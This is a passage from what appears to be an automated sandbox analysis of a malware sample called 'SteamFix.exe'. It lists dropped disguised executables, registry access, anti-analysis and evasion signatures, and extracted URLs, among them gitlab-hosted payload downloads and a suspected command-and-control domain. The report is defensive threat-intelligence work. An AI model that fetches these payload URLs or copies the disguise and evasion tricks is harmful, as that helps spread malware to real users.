"00000000-00006948.00000001.197689.00B61000.00000002.mdmp, 00000000-00006948.00000001.197689.71655000.00000002.mdmp")4d:T47b,"SearchUI.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%LOCALAPPDATA%\Publishers\SearchUI.exe]- [targetUID: 00000000-00008176] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00006948] "StartupProfileData-Interactive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00006948] "smss.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Windows Mail\smss.exe]- [targetUID: 00000000-00008176] "SearchUI.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\Google\Chrome\Application\SearchUI.exe]- [targetUID: 00000000-00008176] "SearchUI.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\SearchUI.exe]- [targetUID: 00000000-00008176]4e:T56b,"SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "SteamFix.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\DISABLE8AND16BITMITIGATION"; Key: ""; Value: "")4f:T9fa,"SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "STEAMFIX.EXE"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "SteamFix.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "")50:T46a,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Able to retrieve information set for devices (API string) Matched sigs: Contains ability to delay execution (Powershell command string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Queries physical drive (often used to detect virtual machines) Matched sigs: The input sample contains the RDTSCP instruction51:T485,"SteamFix.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "SteamFix.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "SteamFix.exe" trying to access non-existent file "C:\FLTLIB.DLL" "SteamFix.exe" trying to access non-existent file "C:\MSVCP140.DLL" "SteamFix.exe" trying to access non-existent file "C:\MSVCP140.dll" "SteamFix.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "SteamFix.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "SteamFix.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "SteamFix.exe" trying to access non-existent file "C:\BCRYPT.DLL" "SteamFix.exe" trying to access non-existent file "C:\bcrypt.dll" "SteamFix.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "SteamFix.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "SteamFix.exe" trying to access non-existent file "C:\Windows\SysWOW64\wbem\WBEMCOMN.DLL" "SteamFix.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\wbem\wbemcomn.dll" "SearchUI.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL"52:T406,Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp")53:T709,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00008176-00000C2C-1552543985") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00008176-00000C2C-1553120220") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00008176-00000C2C-1553133143") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00008176-00000C2C-1553358132") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00008176-00000C2C-1553360131") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00006948-00000C2C-1594371000") Found reference to API "WinHttpOpenW" (Indicator: "WinHttpOpen"; Source: "00000000-00006948-00000C2C-1594371047") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp")54:T527,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00008176-00000C2C-1552543985") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001060.00000001.197716.04400000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00001372.00000001.197755.06100000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00002024.00000000.203341.04080000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005984.00000000.197451.06400000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00006948.00000000.196737.00A50000.00000004.mdmp, 00000000-00006948.00000001.197689.00A50000.00000004.mdmp")55:T5bc,"2.5.29.37" "2.5.29.35" Potential IPs "1.1.1.1" "1.1.1.1" found in string "https://1.1.1.1/dns-query?name=1.1.1.1" "2.5.29.15" "2.5.29.19" "2.5.29.14" "2.5.29.16" "2.5.29.31" "2.5.29.32" "192.168.0.1:53" "0.0.0.0:0" "2.5.29.17" Potential IP "1.1.1.1" found in string "https://1.1.1.1/dns-query?name=google.com" Potential IP "1.1.1.1" found in string "https://dns.google/resolve?name=1.1.1.1" "1.1.1.1:443" "1.1.1.1" "192.168.0.2" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.ConsoleHost.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "3.0.0.0" found in string "ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35" Potential IP "4.0.0.0" found in string "ystem.DirectoryServices,4.0.0.0,,b03f5f7f11d50a3a" Potential IP "1.0.0.0" found in string "icrosoft.Management.Infrastructure,1.0.0.0,,31bf3856ad364e35" Potential IP "2.5.29.37" found in string "%2.5.29.37" Potential IP "2.5.29.35" found in string "#2.5.29.35" "2.5.29.1" "2.5.4.3" "2.5.29.10" "1.1.0.1" "3.0.0.0" Potential IP "4.0.0.0" found in string "ystem.Data,4.0.0.0,,b77a5c561934e089" "2.5.4.6" "2.5.4.10" "2.5.4.5" "2.5.4.7" "2.5.4.8" "2.5.4.11" "2.0.0.0" Potential IP "1.0.0.0" found in string "anagement.Infrastructure,1.0.0.0,,31bf3856ad364e35" "192.168.0.1" "255.255.255.255" "11.10.3.6" "1.10.3.6" Potential IP "3.0.0.0" found in string "icrosoft.PowerShell.Commands.Management.resources,3.0.0.0,en-US,31bf3856ad364e35"56:T2f67,Heuristic match: "uwl}@.ni" Heuristic match: "}pb.co" Heuristic match: "4:.tg" Heuristic match: ">5.gd" Heuristic match: "ur>.sv" Heuristic match: "=s.ph" Heuristic match: "d(6g.my" Heuristic match: "ogfr.it" Heuristic match: "tonapi.io" Pattern match: "remoteadministratortool.ton/resolve" Heuristic match: "google.com" Heuristic match: "gitlab.com" Heuristic match: "cloudflare-dns.com" Heuristic match: "sa1atik.cn" Pattern match: "https://gitlab.com/users/sign_incf-ray" Pattern match: "https://gitlab.com/users/sign_in" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750#" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.dll" Heuristic match: "loudflare-dns.com" Heuristic match: "-dns.com" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "secom trust.net" Heuristic match: "entrust.net" Pattern match: "www.digicert.com" Pattern match: "https://1.1.1.1/dns-query?name=1.1.1.1" Pattern match: "https://sa1atik.cn/sa1at/" Pattern match: "www.entrust.net/cps" Pattern match: "http://crl.xrampsecurity.com/xgca.crl" Pattern match: "www.entrust.net/cps_2048" Pattern match: "www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" Pattern match: "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl" Pattern match: "http://crl.comodoca.com/aaacertificateservices.crl" Pattern match: "http://crl.usertrust.com/utn-userfirst-object.crl" Pattern match: "www.camerfirma.com/address" Pattern match: "https://dns.google/resolve?name=dns.google" Pattern match: "www.entrust.net/legal-terms" Pattern match: "c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl" Pattern match: "https://cloudflare-dns.com/dns-query?name=dns.google&type=a" Heuristic match: "*.cloudflare-dns.com" Pattern match: "www.xrampsecurity.com" Pattern match: "http://www.usertrust.comutn-userfirst-object" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1!0" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1+0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "https://dns.google/resolve?name=google.com" Pattern match: "crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Heuristic match: "dns.google.com" Heuristic match: "*.dns.google.com" Pattern match: "c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "https://1.1.1.1/dns-query?name=google.com" Pattern match: "https://dns.google/resolve?name=1.1.1.1" Pattern match: "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls" Heuristic match: "lookup sa1atik.cn" Pattern match: "https://dns.google/resolve?name=dns.google&type=a" Pattern match: "github.com/ncruces/go-sqlite3.pointer" Pattern match: "directory.d-trust.net/cn=d-trust%20root%20class%203%20ca%202%20ev%202009,o=d-trust%20gmbh,c=de?certificaterevocationlist" Pattern match: "directory.d-trust.net/cn=d-trust%20root%20class%203%20ca%202%202009,o=d-trust%20gmbh,c=de?certificaterevocationlist" Pattern match: "http://crl.securetrust.com/stca.crl" Pattern match: "http://policy.camerfirma.com0" Pattern match: "http://www.usertrust.com1" Pattern match: "http://logo.verisign.com/vslogo.gif0" Heuristic match: "m .ph" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "www.xrampsecurity.com1$0" Pattern match: "http://crl.xrampsecurity.com/xgca.crl0" Pattern match: "directory.d-trust.net/cn=d-trust%20root%20class%203%20ca%202%20ev%202009,o=d-trust%20gmbh,c=de?certificaterevocationlist0f" Pattern match: "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl0" Pattern match: "directory.d-trust.net/cn=d-trust%20root%20class%203%20ca%202%202009,o=d-trust%20gmbh,c=de?certificaterevocationlist0c" Pattern match: "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/7z.exe" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/mstsclib.dll" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/axmstsclib.dll" Pattern match: "https://gitlab.com/webrat1/importantfiles/-/raw/main/ffmpeg.exe" Pattern match: "http://www.chambersign.org10" Heuristic match: "putin@kremlin.ru" Pattern match: "http://www.quovadisglobal.com/cps0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "ft.net" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ent.in" Heuristic match: "ntrust.net" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20certificate%20list%20ca%202024.crl0p" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20certificate%20list%20ca%202024.crt0" Pattern match: "http://www.microsoft.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "https://go.microsoft.com/fwlink/?linkid=526919" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Heuristic match: "ement.au" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Heuristic match: "auth.gitlab.com" Heuristic match: "customers.gitlab.com" Heuristic match: "email.customers.gitlab.com" Heuristic match: "gprd.gitlab.com" Pattern match: "www.gitlab.com" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "https://ck-c" Heuristic match: "l.cloudflare.com" Heuristic match: "5.cat" Heuristic match: "itlab.com" Heuristic match: "uth.gitlab.com" Heuristic match: "mail.customers.gitlab.com" Heuristic match: "prd.gitlab.com" Pattern match: "microsoft.net/assembly/gac_msil/system/v4.0_4.0.0.0__b77a5c561934e089/system.dll" Pattern match: "http://schemas.microsoft.com/windows/2004/02/mit/task" Heuristic match: "host: gitlab.com" Pattern match: "https://go.microsoft.com/fwlink/?linkid=390787" Pattern match: "t.com/pki/crl/products/mictimstapca_2010%x" Pattern match: "http://www.micro" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0x" Pattern match: "http://www.microsoft.com/pki/certs/microsofttimestamppca.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" Pattern match: "icrosoft.com/pki/cer" Pattern match: "www.microsoft.com/pki/docs/cps/d" Pattern match: "http://schemas.microsoft.com/cmdlets-over-objects/2009/11" Pattern match: "http://www.microsoft.com/pki/certs/mictimsta" Pattern match: "www.micrh" Pattern match: "t.com/wit" Pattern match: "www.micr" Pattern match: "t.com/pk" Heuristic match: "osoft.co" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "https://challenges.cloudflare.com" Heuristic match: "ki.mh"57:T8e80,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000992.00000000.195947.03B70000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=1.1.1.1596a2dd70fb36e86e360ff385a4c5693e8b50b.i*9!_=q7" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/dial" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crl.xrampsecurity.com/xgca.crld-trust" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_ev_2009.crl" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://www.d-trust.net/crl/d-trust_root_class_3_ca_2_2009.crlu/" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl(c)" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crl.usertrust.com/utn-userfirst-object.crl(c)" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=dns.googlei<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://sa1atik.cn/sa1at/" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls13" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://cloudflare-dns.com/dns-query?name=dns.google&type=atls13" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectthe" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://www.usertrust.comutn-userfirst-objectaffirmtrust" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=google.comi<66666666666666666666666666666666666666666666d*p" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl09" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crl0[cit" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comhttps://dns.google/resolve?name=1.1.1.14f481ff51d984d5adec16f79b88275c9f48242" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://dns.google/resolve?name=1.1.1.1https://1.1.1.1/dns-query?name=1.1.1.1xfffff333333ffffff2g'utls13" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crltls:" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://crls.ssl.com/mitmproxy-236356893075616227624110519622398477259530153583.crl01+j\$" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query?name=google.comhttps://cloudflare-dns.com/dns-query?name=dns.google&type=ahttps://dns.google/resolve?name=dns.google&type=ac" - Source: "00000000-00000992.00000000.195947.06000000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000992.00000001.197869.03B70000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00000992.00000002.199787.03B70000.00000004.mdmp") Found URL 